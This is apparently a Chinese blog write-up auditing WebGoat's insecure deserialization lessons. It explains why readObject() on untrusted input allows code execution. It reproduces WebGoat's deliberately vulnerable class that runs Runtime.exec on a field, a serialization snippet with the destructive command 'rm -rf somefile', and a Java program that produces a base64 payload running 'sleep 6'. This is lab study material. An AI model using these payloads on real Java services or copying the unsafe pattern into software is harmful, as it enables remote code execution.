WebGoat代码审计-08-不安全的反序列化
Drunkbaby Lv6

WebGoat代码审计-08-不安全的反序列化

WebGoat代码审计-08-不安全的反序列化

反序列化的入门静下心来看看,就算不是题目的地方也好好整理、理解一下。

1. Insecure Deserialization PageLesson3 简单的反序列化代码

我们以这段代码进行举例说明

1
2
3
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();

它期望一个 AcmeObject 对象,但是它将在强制转换发生之前执行 readObject()。如果攻击者发现适当的类在 readObject() 中实现了危险的操作,他可以序列化该对象,并强制易受攻击的应用程序执行这些操作。

ClassPath 中包含的类

攻击者需要在 ClassPath 中找到一个支持序列化并在 readObject() 上具有危险实现的类。这一段代码能够被利用就是因为它定义了 readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

private static final long serialVersionUID = 1;

private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;

public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}

private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();

//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}

利用

如果上面显示的 java 类存在,攻击者可以序列化该对象再 RCE

1
2
3
4
5
6
7
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

2. Insecure Deserialization PageLesson5 反序列化代码审计

题目部分

  • 题意让我们设计五秒的延时,也算是命令执行了(?)

给的一串字符,让我们反序列化一下而已,没什么用。

直接看源码。

源码部分

InsecureDeserializationTask.java

  • 重点关注这一段源码

后端拿到我们的 token 之后进行了一个特殊符号替换,然后进行了 base64 解码,解码过后进行了 readObject() 反序列化操作。

最后判断一下这个对象是不是 VulnerableTaskHolder 的实例。所以,我们反序列化的对象也就确定了,那就是 VulnerableTaskHolder 类的实例。

进到 VulnerableTaskHolder 类中,找到了 readObject() 方法。

可以看到这里直接利用 Runtime.getRuntime().exec() 执行了 taskAction,而 taskAction 是在构造函数里被赋值的。所以我们可以通过控制 taskAction 来控制执行的命令。

漏洞实现有两点要求
1)创建的对象必须是 VulnerableTaskHolder 类的实例,包名得一致;
  2) 创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报 The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let’s try again 错误。所以 VulnerableTaskHolder 类中的构造方法得减去一定得时间。

我们在 VulnerableTaskHolder 同級目錄下建立一個 SerialMain.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.dummy.insecure.framework;  
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;


public class SerialMain {

static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){

}
}
}

我这里 Java Thymeleaf 环境炸了,无心修理。

 评论